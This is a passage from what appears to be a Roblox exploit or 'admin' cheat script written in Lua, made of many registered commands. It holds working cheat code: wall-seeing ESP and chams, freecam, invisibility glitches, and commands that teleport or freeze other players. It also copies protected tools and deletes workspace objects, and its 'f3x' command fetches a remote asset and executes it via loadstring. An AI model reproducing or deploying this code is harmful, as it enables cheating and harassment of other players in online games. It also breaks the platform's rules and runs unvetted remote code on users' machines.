4548 WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
4549 if AllWaypoints ~= nil then
4550 AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}, GAME = game.PlaceId}
4551 end
4552 end
4553 refreshwaypoints()
4554 updatesaves()
4555end)
4556
4557addcmd('setwaypointpos',{'setwaypointposition','setpos','setwaypoint'},
4558function(args, speaker)
4559 local WPName = tostring(getstring(1))
4560 if speaker.Character:findFirstChild("HumanoidRootPart") then
4561 notify('Modified Waypoints',"Created waypoint: "..getstring(1))
4562 WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
4563 if AllWaypoints ~= nil then
4564 AllWaypoints[#AllWaypoints + 1] = {NAME = WPName, COORD = {args[2], args[3], args[4]}, GAME = game.PlaceId}
4565 end
4566 end
4567 refreshwaypoints()
4568 updatesaves()
4569end)
4570
4571addcmd('deletepos',{'dpos','deleteposition','deletewaypoint'},
4572function(args, speaker)
4573 for i,v in pairs(WayPoints) do
4574 if v.NAME:lower() == tostring(getstring(1)):lower() then
4575 notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
4576 table.remove(WayPoints, i)
4577 end
4578 end
4579 if AllWaypoints ~= nil then
4580 for i,v in pairs(AllWaypoints) do
4581 if v.NAME:lower() == tostring(getstring(1)):lower() then
4582 if not v.GAME or v.GAME == game.PlaceId then
4583 table.remove(AllWaypoints, i)
4584 end
4585 end
4586 end
4587 end
4588 for i,v in pairs(pWayPoints) do
4589 if v.NAME:lower() == tostring(getstring(1)):lower() then
4590 notify('Modified Waypoints',"Deleted waypoint: " .. v.NAME)
4591 table.remove(pWayPoints, i)
4592 end
4593 end
4594 refreshwaypoints()
4595 updatesaves()
4596end)
4597
4598addcmd('clearpos',{'clrpositions','clearpositions','cpos','clrpos'},
4599function(args, speaker)
4600 WayPoints = {}
4601 pWayPoints = {}
4602 refreshwaypoints()
4603 updatesaves()
4604 AllWaypoints = nil
4605 notify('Modified Waypoints','Removed all waypoints')
4606end)
4607
4608addcmd('loadpos',{'lpos','loadposition','waypoint'},
4609function(args, speaker)
4610 local WPName = tostring(getstring(1))
4611 if Players.LocalPlayer.Character then
4612 for i,_ in pairs(WayPoints) do
4613 local x = WayPoints[i].COORD[1]
4614 local y = WayPoints[i].COORD[2]
4615 local z = WayPoints[i].COORD[3]
4616 if tostring(WayPoints[i].NAME):lower() == tostring(WPName):lower() then
4617 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(x,y,z)
4618 end
4619 end
4620 for i,_ in pairs(pWayPoints) do
4621 if tostring(pWayPoints[i].NAME):lower() == tostring(WPName):lower() then
4622 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(pWayPoints[i].COORD[1].Position)
4623 end
4624 end
4625 end
4626end)
4627
4628addcmd('enable',{},
4629function(args, speaker)
4630 if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
4631 game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', true)
4632 elseif args[1]:lower() == 'playerlist' then
4633 game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', true)
4634 elseif args[1]:lower() == 'chat' then
4635 game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', true)
4636 elseif args[1]:lower() == 'all' then
4637 game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
4638 end
4639end)
4640
4641addcmd('disable',{},
4642function(args, speaker)
4643 if args[1]:lower() == 'inventory' or args[1]:lower() == 'backpack' then
4644 game:GetService("StarterGui"):SetCoreGuiEnabled('Backpack', false)
4645 elseif args[1]:lower() == 'playerlist' then
4646 game:GetService("StarterGui"):SetCoreGuiEnabled('PlayerList', false)
4647 elseif args[1]:lower() == 'chat' then
4648 game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', false)
4649 elseif args[1]:lower() == 'all' then
4650 game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
4651 end
4652end)
4653
4654addcmd('esp',{},
4655function(args, speaker)
4656 if not CHMSenabled then
4657 ESPenabled = true
4658 for i,v in pairs(Players:GetChildren()) do
4659 if v.ClassName == "Player" and v.Name ~= Players.LocalPlayer.Name then
4660 ESP(v)
4661 end
4662 end
4663 else
4664 notify('ESP','Disable chams (nochams) before using esp')
4665 end
4666end)
4667
4668addcmd('noesp',{'unesp'},
4669function(args, speaker)
4670 ESPenabled = false
4671 for i,v in pairs(Players:GetChildren()) do
4672 local espplr = v
4673 for i,c in pairs(PARENT:GetChildren()) do
4674 if c.Name == espplr.Name..'_ESP' then
4675 c:Destroy()
4676 end
4677 end
4678 end
4679end)
4680
4681addcmd('chams',{},
4682function(args, speaker)
4683 if not ESPenabled then
4684 CHMSenabled = true
4685 for i,v in pairs(Players:GetChildren()) do
4686 if v.ClassName == "Player" and v.Name ~= Players.LocalPlayer.Name then
4687 CHMS(v)
4688 end
4689 end
4690 else
4691 notify('Chams','Disable ESP (noesp) before using chams')
4692 end
4693end)
4694
4695addcmd('nochams',{'unchams'},
4696function(args, speaker)
4697 CHMSenabled = false
4698 for i,v in pairs(Players:GetChildren()) do
4699 local chmsplr = v
4700 for i,c in pairs(PARENT:GetChildren()) do
4701 if c.Name == chmsplr.Name..'_CHMS' then
4702 c:Destroy()
4703 end
4704 end
4705 end
4706end)
4707
4708addcmd('locate',{},
4709function(args, speaker)
4710 local players = getPlayer(args[1], speaker)
4711 for i,v in pairs(players) do
4712 Locate(Players[v])
4713 end
4714end)
4715
4716addcmd('nolocate',{'unlocate'},
4717function(args, speaker)
4718 local players = getPlayer(args[1], speaker)
4719 for i,v in pairs(players) do
4720 for i,c in pairs(PARENT:GetChildren()) do
4721 if c.Name == Players[v].Name..'_LC' then
4722 c:Destroy()
4723 end
4724 end
4725 end
4726end)
4727
4728addcmd('view',{'spectate'},
4729function(args, speaker)
4730 local players = getPlayer(args[1], speaker)
4731 for i,v in pairs(players) do
4732 if viewHumanoid then
4733 viewHumanoid:Disconnect()
4734 end
4735 workspace.CurrentCamera.CameraSubject = Players[v].Character
4736 notify('Spectate','Viewing ' .. Players[v].Name)
4737 local function viewDied()
4738 workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character
4739 notify('Spectate','View turned off (player died)')
4740 end
4741 viewHumanoid = Players[v].Character:FindFirstChildOfClass('Humanoid').Died:connect(viewDied)
4742 end
4743end)
4744
4745addcmd('unview',{'unspectate'},
4746function(args, speaker)
4747 workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character
4748 if viewHumanoid then
4749 viewHumanoid:Disconnect()
4750 end
4751 notify('Spectate','View turned off')
4752end)
4753
4754local fa = false
4755local cam = workspace.CurrentCamera
4756local cam1 = 0
4757local cam2 = 0
4758local cam3 = 0
4759local k1 = false
4760local k2 = false
4761local k3 = false
4762local k4 = false
4763local k5 = false
4764local k6 = false
4765cs = 0.5
4766function movecam()
4767 local fc = Players.LocalPlayer.Character:FindFirstChild('xFC')
4768 if fa == false then
4769 repeat
4770 if Players.LocalPlayer.Character:FindFirstChild('xFC') then
4771 local fp = fc.Position
4772 fc.CFrame = CFrame.new(Vector3.new(fp.X,fp.Y+cam3,fp.Z),cam.CFrame.p)*CFrame.new(cam2,0,cam1)
4773 fa = true
4774 Players.LocalPlayer.Character.Head.Anchored = true
4775 end
4776 game:GetService('RunService').RenderStepped:Wait()
4777 until not Players.LocalPlayer.Character:FindFirstChild('xFC')
4778 fa = false
4779 end
4780end
4781function kp1(inputObject, gameProcessedEvent)
4782 if not gameProcessedEvent and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('xFC') then
4783 if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then
4784 k1 = true
4785 cam1 = cs end
4786 if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then
4787 k2 = true
4788 cam1 = (cs*-1) end
4789 if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then
4790 k3 = true
4791 cam2 = cs end
4792 if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then
4793 k4 = true
4794 cam2 = (cs*-1) end
4795 if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode == Enum.KeyCode.Space then
4796 k5 = true
4797 cam3 = cs end
4798 if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode == Enum.KeyCode.LeftControl then
4799 k6 = true
4800 cam3 = (cs*-1) end
4801 end
4802end
4803UserInputService.InputBegan:connect(kp1)
4804function kp2(inputObject, gameProcessedEvent)
4805 if not gameProcessedEvent and Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild('xFC') then
4806 if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then
4807 k1 = false
4808 if k2 == false then
4809 cam1 = 0
4810 end
4811 end
4812 if inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then
4813 k2 = false
4814 if k1 == false then
4815 cam1 = 0
4816 end
4817 end
4818 if inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then
4819 k3= false
4820 if k4== false then
4821 cam2 = 0
4822 end
4823 end
4824 if inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then
4825 k4 = false
4826 if k3 == false then
4827 cam2 = 0
4828 end
4829 end
4830 if inputObject.KeyCode == Enum.KeyCode.E or inputObject.KeyCode == Enum.KeyCode.Space then
4831 k5 = false
4832 if k6 == false then
4833 cam3 = 0
4834 end
4835 end
4836 if inputObject.KeyCode == Enum.KeyCode.Q or inputObject.KeyCode == Enum.KeyCode.LeftControl then
4837 k6 = false
4838 if k5 == false then
4839 cam3 = 0
4840 end
4841 end
4842 end
4843end
4844UserInputService.InputEnded:connect(kp2)
4845fcEnabled = false
4846function FC()
4847 if not Players.LocalPlayer.Character:FindFirstChild('xFC') then
4848 local fc = Instance.new('Part',Players.LocalPlayer.Character)
4849 fc.CanCollide = false
4850 fc.Anchored = true
4851 fc.Transparency = 1
4852 fc.Size = Vector3.new(1,1,1)
4853 fc.Name = 'xFC'
4854 fc.CFrame = Players.LocalPlayer.Character.Head.CFrame
4855 local cam = workspace.CurrentCamera
4856 cam.CameraSubject = fc
4857 cam.CameraType = 'Custom'
4858 movecam()
4859 end
4860end
4861function UFC()
4862 if Players.LocalPlayer.Character:FindFirstChild('xFC') then
4863 Players.LocalPlayer.Character:FindFirstChild('xFC'):Destroy()
4864 local cam = workspace.CurrentCamera
4865 cam.CameraSubject = Players.LocalPlayer.Character.Humanoid
4866 cam.CameraType = 'Custom'
4867 Players.LocalPlayer.Character.Head.Anchored = false
4868 end
4869end
4870
4871addcmd('freecam',{'fc'},
4872function(args, speaker)
4873 FC()
4874end)
4875
4876addcmd('fctp',{'freecamtp','freecamteleport'},
4877function(args, speaker)
4878 if not Players.LocalPlayer.Character:FindFirstChild('xFC') then
4879 notify('Freecam TP','Freecam must be enabled to teleport to it')
4880 else
4881 Players.LocalPlayer.Character.Head.Anchored = false
4882 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Players.LocalPlayer.Character:FindFirstChild('xFC').CFrame
4883 Players.LocalPlayer.Character.Head.Anchored = true
4884 end
4885end)
4886
4887addcmd('fov',{},
4888function(args, speaker)
4889 if isNumber(args[1]) then
4890 workspace.CurrentCamera.FieldOfView = args[1]
4891 elseif not args[1] then
4892 workspace.CurrentCamera.FieldOfView = 70
4893 end
4894end)
4895
4896addcmd('fixcam',{},
4897function(args, speaker)
4898 UFC()
4899 workspace.CurrentCamera:remove()
4900 wait(.1)
4901 workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character.Humanoid
4902 workspace.CurrentCamera.CameraType = "Custom"
4903 Players.LocalPlayer.CameraMinZoomDistance = 0.5
4904 Players.LocalPlayer.CameraMaxZoomDistance = 400
4905 Players.LocalPlayer.CameraMode = "Classic"
4906 Players.LocalPlayer.Character.Head.Anchored = false
4907end)
4908
4909addcmd('unfreecam',{'nofreecam','unfc','nofc'},
4910function(args, speaker)
4911 UFC()
4912end)
4913
4914addcmd('freecamspeed',{'fcspeed'},
4915function(args, speaker)
4916 if isNumber(args[1]) then
4917 cs = args[1]
4918 end
4919end)
4920
4921addcmd('firstp',{},
4922function(args, speaker)
4923 Players.LocalPlayer.CameraMode = "LockFirstPerson"
4924end)
4925
4926addcmd('thirdp',{},
4927function(args, speaker)
4928 Players.LocalPlayer.CameraMode = "Classic"
4929end)
4930
4931addcmd('maxzoom',{},
4932function(args, speaker)
4933 Players.LocalPlayer.CameraMaxZoomDistance = args[1]
4934end)
4935
4936addcmd('unlockws',{'unlockworkspace'},
4937function(args, speaker)
4938 notify('Workspace Modified','Workspace unlocked')
4939 wait(1)
4940 local function unlock(instance)
4941 for i,v in pairs(instance:GetChildren()) do
4942 if v:IsA("BasePart") then
4943 v.Locked = false
4944 end
4945 unlock(v)
4946 end
4947 end
4948 unlock(workspace)
4949end)
4950
4951addcmd('lockws',{'lockworkspace'},
4952function(args, speaker)
4953 notify('Workspace Modified','Workspace locked')
4954 wait(1)
4955 local function lock(instance)
4956 for i,v in pairs(instance:GetChildren()) do
4957 if v:IsA("BasePart") then
4958 v.Locked = true
4959 end
4960 lock(v)
4961 end
4962 end
4963 lock(workspace)
4964end)
4965
4966addcmd('delete',{'remove'},
4967function(args, speaker)
4968 part = getstring(1)
4969 local function dels(instance)
4970 for i,v in pairs(instance:GetChildren())do
4971 if v.Name:lower() == part:lower() then v:Destroy() end
4972 dels(v)
4973 end
4974 end
4975 dels(workspace)
4976notify('Item(s) Deleted','Deleted ' ..getstring(1))
4977end)
4978
4979addcmd('deleteclass',{'removeclass','deleteclassname','removeclassname','dc'},
4980function(args, speaker)
4981 part = getstring(1)
4982 local function dels(instance)
4983 for i,v in pairs(instance:GetChildren())do
4984 if v.ClassName:lower() == part:lower() then v:Destroy() end
4985 dels(v)
4986 end
4987 end
4988 dels(workspace)
4989notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
4990end)
4991
4992addcmd('btools',{},
4993function(args, speaker)
4994 Instance.new("HopperBin", Players.LocalPlayer.Backpack).BinType = 1
4995 Instance.new("HopperBin", Players.LocalPlayer.Backpack).BinType = 2
4996 Instance.new("HopperBin", Players.LocalPlayer.Backpack).BinType = 3
4997 Instance.new("HopperBin", Players.LocalPlayer.Backpack).BinType = 4
4998end)
4999
5000addcmd('f3x',{'fex'},
5001function(args, speaker)
5002 loadstring(game:GetObjects("rbxassetid://1059691823")[1].Source)()
5003end)
5004
5005addcmd('age',{},
5006function(args, speaker)
5007 local players = getPlayer(args[1], speaker)
5008 for i,v in pairs(players) do
5009 local players = getPlayer(args[1], speaker)
5010 local ages = {}
5011 for i,v in pairs(players) do
5012 local p = Players[v]
5013 table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
5014 end
5015 notify('Account Age',table.concat(ages, ',\n'))
5016 end
5017end)
5018
5019addcmd('os',{'platform', 'device'},
5020function(args, speaker)
5021 local players = getPlayer(args[1], speaker)
5022 local platforms = {}
5023 for i,v in pairs(players) do
5024 local p = Players[v]
5025 table.insert(platforms, p.Name.."'s platform is: "..p.OsPlatform)
5026 end
5027 notify('OS',table.concat(platforms, ',\n'))
5028end)
5029
5030addcmd('goto',{'to'},
5031function(args, speaker)
5032 local players = getPlayer(args[1], speaker)
5033 for i,v in pairs(players)do
5034 if Players[v].Character ~= nil then
5035 if speaker.Character:FindFirstChild("Humanoid") then
5036 speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
5037 end
5038 speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(4,1,0)
5039 end
5040 end
5041end)
5042
5043bringT = {}
5044addcmd('loopbring',{},
5045function(args, speaker)
5046 local players = getPlayer(args[1], speaker)
5047 for i,v in pairs(players)do
5048 spawn(function()
5049 if Players[v].Name ~= Players.LocalPlayer.Name and not FindInTable(bringT, Players[v].Name) then
5050 table.insert(bringT, Players[v].Name)
5051 local pchar=Players[v].Character
5052 pchar:FindFirstChildOfClass('Humanoid').Jump = true
5053 local distance = 3
5054 if args[2] and isNumber(args[2]) then
5055 distance = args[2]
5056 end
5057 local lDelay = 0
5058 if args[3] and isNumber(args[3]) then
5059 lDelay = args[3]
5060 end
5061 repeat
5062 pchar = Players[v].Character
5063 for i,c in pairs(players) do
5064 if pchar~= nil and pchar:FindFirstChild("HumanoidRootPart") and speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart") then
5065 pchar.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
5066 end
5067 end
5068 wait(lDelay)
5069 until not FindInTable(bringT, Players[v].Name)
5070 end
5071 end)
5072 end
5073end)
5074
5075addcmd('unloopbring',{'noloopbring'},
5076function(args, speaker)
5077 local players = getPlayer(args[1], speaker)
5078 for i,v in pairs(players)do
5079 spawn(function()
5080 for a,b in pairs(bringT) do if b == Players[v].Name then table.remove(bringT, a) end end
5081 end)
5082 end
5083end)
5084
5085addcmd('freeze',{'fr'},
5086function(args, speaker)
5087 local players = getPlayer(args[1], speaker)
5088 if players ~= nil then
5089 for i, v in pairs(players) do
5090 spawn(function()
5091 for i, x in next, Players[v].Character:GetDescendants() do
5092 if x:IsA("BasePart") and not x.Anchored then
5093 x.Anchored = true
5094 end
5095 end
5096 end)
5097 end
5098 end
5099end)
5100
5101addcmd('thaw',{'unfreeze','unfr'},
5102function(args, speaker)
5103 local players = getPlayer(args[1], speaker)
5104 if players ~= nil then
5105 for i, v in pairs(players) do
5106 spawn(function()
5107 for i, x in next, Players[v].Character:GetDescendants() do
5108 if x:IsA("BasePart") and x.Anchored then
5109 x.Anchored = false
5110 end
5111 end
5112 end)
5113 end
5114 end
5115end)
5116
5117oofing = false
5118addcmd('loopoof',{},
5119function(args, speaker)
5120 oofing = true
5121 repeat wait(0.1)
5122 for i,v in pairs(Players:GetPlayers()) do
5123 if v.Character ~= nil and v.Character:FindFirstChild'Head' then
5124 for _,x in pairs(v.Character.Head:GetChildren()) do
5125 if x:IsA'Sound' then x.Playing = true end
5126 end
5127 end
5128 end
5129 until oofing == false
5130end)
5131
5132addcmd('unloopoof',{},
5133function(args, speaker)
5134 oofing = false
5135end)
5136
5137addcmd('respawn',{},
5138function(args, speaker)
5139 respawn(Players.LocalPlayer)
5140end)
5141
5142addcmd('refresh',{'re'},
5143function(args, speaker)
5144 refresh(Players.LocalPlayer)
5145end)
5146
5147addcmd('invisible',{'invis'},
5148function(args, speaker)
5149-- Full credit to Elite1337#9377 & Timeless#4044 @Discord
5150local function CheckRig()
5151 if Players.LocalPlayer.Character then
5152 local Humanoid = Players.LocalPlayer.Character:WaitForChild('Humanoid')
5153 if Humanoid.RigType == Enum.HumanoidRigType.R15 then
5154 return 'R15'
5155 else
5156 return 'R6'
5157 end
5158 end
5159end
5160local function InitiateInvis()
5161 local Character = Players.LocalPlayer.Character
5162 local StoredCF = Character.PrimaryPart.CFrame
5163 local Part = Instance.new('Part',workspace)
5164 Part.Size = Vector3.new(5,0,5)
5165 Part.Anchored = true
5166 Part.CFrame = CFrame.new(Vector3.new(9999,9999,9999))
5167 Character.PrimaryPart.CFrame = Part.CFrame*CFrame.new(0,3,0)
5168 spawn(function()
5169 wait(3)
5170 Part:Destroy()
5171 end)
5172 if CheckRig() == 'R6' then
5173 local Clone = Character.HumanoidRootPart:Clone()
5174 Character.HumanoidRootPart:Destroy()
5175 Clone.Parent = Character
5176 else
5177 local Clone = Character.LowerTorso.Root:Clone()
5178 Character.LowerTorso.Root:Destroy()
5179 Clone.Parent = Character.LowerTorso
5180 end
5181end
5182InitiateInvis()
5183end)
5184
5185addcmd('strengthen',{},
5186function(args, speaker)
5187 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5188 if child.ClassName == "Part" then
5189 child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
5190 end
5191 end
5192end)
5193
5194addcmd('weaken',{},
5195function(args, speaker)
5196 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5197 if child.ClassName == "Part" then
5198 child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
5199 end
5200 end
5201end)
5202
5203addcmd('unweaken',{'unstrengthen'},
5204function(args, speaker)
5205 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5206 if child.ClassName == "Part" then
5207 child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
5208 end
5209 end
5210end)
5211
5212addcmd('jpower',{'jumppower','jp'},
5213function(args, speaker)
5214 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').JumpPower=tonumber(args[1])
5215end)
5216
5217addcmd('gravity',{'grav'},
5218function(args, speaker)
5219 workspace.Gravity = (args[1])
5220end)
5221
5222addcmd('hipheight',{'hheight'},
5223function(args, speaker)
5224 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').HipHeight = args[1]
5225end)
5226
5227addcmd('dance',{},
5228function(args, speaker)
5229 if not r15(Players.LocalPlayer) then
5230 local pchar=Players.LocalPlayer.Character
5231 local anim = nil
5232 local dance1 = math.random(1,7)
5233 if dance1 == 1 then
5234 anim = '27789359'
5235 end
5236 if dance1 == 2 then
5237 anim = '30196114'
5238 end
5239 if dance1 == 3 then
5240 anim = '248263260'
5241 end
5242 if dance1 == 4 then
5243 anim = '45834924'
5244 end
5245 if dance1 == 5 then
5246 anim = '33796059'
5247 end
5248 if dance1 == 6 then
5249 anim = '28488254'
5250 end
5251 if dance1 == 7 then
5252 anim = '52155728'
5253 end
5254 local animation = Instance.new("Animation")
5255 animation.AnimationId = "rbxassetid://"..anim
5256 animTrack = pchar.Humanoid:LoadAnimation(animation)
5257 animTrack:Play()
5258 else
5259 notify('R6 Required','This command requires the r6 rig type')
5260 end
5261end)
5262
5263addcmd('undance',{'nodance'},
5264function(args, speaker)
5265 animTrack:Stop()
5266 animTrack:Destroy()
5267end)
5268
5269addcmd('nolimbs',{'rlimbs'},
5270function(args, speaker)
5271 if r15(Players.LocalPlayer) then
5272 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5273 if v:IsA("BasePart") and
5274 v.Name == "RightUpperLeg" or
5275 v.Name == "LeftUpperLeg" or
5276 v.Name == "RightUpperArm" or
5277 v.Name == "LeftUpperArm" then
5278 v:Destroy()
5279 end
5280 end
5281 else
5282 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5283 if v:IsA("BasePart") and
5284 v.Name == "Right Leg" or
5285 v.Name == "Left Leg" or
5286 v.Name == "Right Arm" or
5287 v.Name == "Left Arm" then
5288 v:Destroy()
5289 end
5290 end
5291 end
5292end)
5293
5294addcmd('noarms',{'rarms'},
5295function(args, speaker)
5296 if r15(Players.LocalPlayer) then
5297 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5298 if v:IsA("BasePart") and
5299 v.Name == "RightUpperArm" or
5300 v.Name == "LeftUpperArm" then
5301 v:Destroy()
5302 end
5303 end
5304 else
5305 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5306 if v:IsA("BasePart") and
5307 v.Name == "Right Arm" or
5308 v.Name == "Left Arm" then
5309 v:Destroy()
5310 end
5311 end
5312 end
5313end)
5314
5315addcmd('nolegs',{'rlegs'},
5316function(args, speaker)
5317 if r15(Players.LocalPlayer) then
5318 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5319 if v:IsA("BasePart") and
5320 v.Name == "RightUpperLeg" or
5321 v.Name == "LeftUpperLeg" then
5322 v:Destroy()
5323 end
5324 end
5325 else
5326 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5327 if v:IsA("BasePart") and
5328 v.Name == "Right Leg" or
5329 v.Name == "Left Leg" then
5330 v:Destroy()
5331 end
5332 end
5333 end
5334end)
5335
5336addcmd('sit',{},
5337function(args, speaker)
5338 speaker.Character:FindFirstChildOfClass("Humanoid").Sit = true
5339end)
5340
5341addcmd('jump',{},
5342function(args, speaker)
5343 speaker.Character:FindFirstChildOfClass("Humanoid").Jump = true
5344end)
5345
5346addcmd('team',{},
5347function(args, speaker)
5348 local teamname = nil
5349 for a,b in pairs(game:GetService("Teams"):GetChildren()) do
5350 local L_name = b.Name:lower()
5351 local F = L_name:find(getstring(1))
5352 if F == 1 then
5353 teamname = b
5354 end
5355 end
5356 Players.LocalPlayer.Team = teamname
5357end)
5358
5359addcmd('spasm',{},
5360function(args, speaker)
5361 if not r15(Players.LocalPlayer) then
5362 local pchar=Players.LocalPlayer.Character
5363 local AnimationId = "33796059"
5364 SpasmAnim = Instance.new("Animation")
5365 SpasmAnim.AnimationId = "rbxassetid://"..AnimationId
5366 Spasm = pchar.Humanoid:LoadAnimation(SpasmAnim)
5367 Spasm:Play()
5368 Spasm:AdjustSpeed(99)
5369 else
5370 notify('R6 Required','This command requires the r6 rig type')
5371 end
5372end)
5373
5374addcmd('unspasm',{'nospasm'},
5375function(args, speaker)
5376 Spasm:Stop()
5377 SpasmAnim:Destroy()
5378end)
5379
5380addcmd('headthrow',{},
5381function(args, speaker)
5382 if not r15(Players.LocalPlayer) then
5383 local AnimationId = "35154961"
5384 local Anim = Instance.new("Animation")
5385 Anim.AnimationId = "rbxassetid://"..AnimationId
5386 local k = Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
5387 k:Play(0)
5388 k:AdjustSpeed(1)
5389 else
5390 notify('R6 Required','This command requires the r6 rig type')
5391 end
5392end)
5393
5394addcmd('animation',{'anim'},
5395function(args, speaker)
5396 if not r15(Players.LocalPlayer) then
5397 local pchar=Players.LocalPlayer.Character
5398 local AnimationId = tostring(args[1])
5399 local Anim = Instance.new("Animation")
5400 Anim.AnimationId = "rbxassetid://"..AnimationId
5401 local k = pchar.Humanoid:LoadAnimation(Anim)
5402 k:Play()
5403 if args[2] then
5404 k:AdjustSpeed(tostring(args[2]))
5405 end
5406 else
5407 notify('R6 Required','This command requires the r6 rig type')
5408 end
5409end)
5410
5411addcmd('tpposition',{'tppos'},
5412function(args,speaker)
5413 if #args < 3 then return end
5414 local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
5415 local char = Players.LocalPlayer.Character
5416 if char and char:FindFirstChild("HumanoidRootPart") then
5417 char.HumanoidRootPart.CFrame = CFrame.new(tpX,tpY,tpZ)
5418 end
5419end)
5420
5421addcmd('offset',{},
5422function(args,speaker)
5423 if #args < 3 then return end
5424 local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
5425 local char = Players.LocalPlayer.Character
5426 if char and char:FindFirstChild("HumanoidRootPart") then
5427 char.HumanoidRootPart.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(tpX,tpY,tpZ)
5428 end
5429end)
5430
5431addcmd('getposition',{'getpos','notifypos','notifyposition'},
5432function(args,speaker)
5433 local char = Players.LocalPlayer.Character
5434 if char and char:FindFirstChild("HumanoidRootPart") then
5435 local pos = tostring(char.HumanoidRootPart.Position)
5436 notify('Current Position',pos)
5437 end
5438end)
5439
5440addcmd('copyposition',{'copypos'},
5441function(args,speaker)
5442 local char = Players.LocalPlayer.Character
5443 if char and char:FindFirstChild("HumanoidRootPart") then
5444 local pos = tostring(char.HumanoidRootPart.Position)
5445 toClipboard(pos)
5446 end
5447end)
5448
5449addcmd('speed',{'ws'},
5450function(args, speaker)
5451 if args[2] then
5452 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[2])
5453 else
5454 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[1])
5455 end
5456end)
5457
5458addcmd('tools',{'gears'},
5459function(args, speaker)
5460 local function copy(instance)
5461 for i,c in pairs(instance:GetChildren())do
5462 if c:IsA('Tool') or c:IsA('HopperBin') then
5463 c:Clone().Parent = Players.LocalPlayer.Backpack
5464 end
5465 copy(c)
5466 end
5467 end
5468 copy(game:GetService("Lighting"))
5469 local function copy(instance)
5470 for i,c in pairs(instance:GetChildren())do
5471 if c:IsA('Tool') or c:IsA('HopperBin') then
5472 c:Clone().Parent = Players.LocalPlayer.Backpack
5473 end
5474 copy(c)
5475 end
5476 end
5477 copy(game:GetService("ReplicatedStorage"))
5478 notify('Tools','Copied tools from ReplicatedStorage and Lighting')
5479end)
5480
5481addcmd('keeptools',{'startertools','stools','ktools'},
5482function(args, speaker)
5483 local function copy(instance)
5484 for i,c in pairs(instance:GetChildren())do
5485 if c:IsA('Tool') or c:IsA('HopperBin') then
5486 c:Clone().Parent = Players.LocalPlayer.StarterGear
5487 end
5488 copy(c)
5489 end
5490 end
5491 copy(Players.LocalPlayer.Backpack)
5492 local function copy(instance)
5493 for i,c in pairs(instance:GetChildren())do
5494 if c:IsA('Tool') or c:IsA('HopperBin') then
5495 c:Clone().Parent = Players.LocalPlayer.StarterGear
5496 end
5497 copy(c)
5498 end
5499 end
5500 copy(Players.LocalPlayer.Character)
5501 notify('Tools','Copied tools to StarterGear')
5502end)
5503
5504addcmd('nokeeptools',{'unkeeptools','nokeeptools','nostartertools','unstartertools','nostools','unstools','noktools','unktools'},
5505function(args, speaker)
5506 for i,c in pairs(Players.LocalPlayer.StarterGear:GetChildren())do
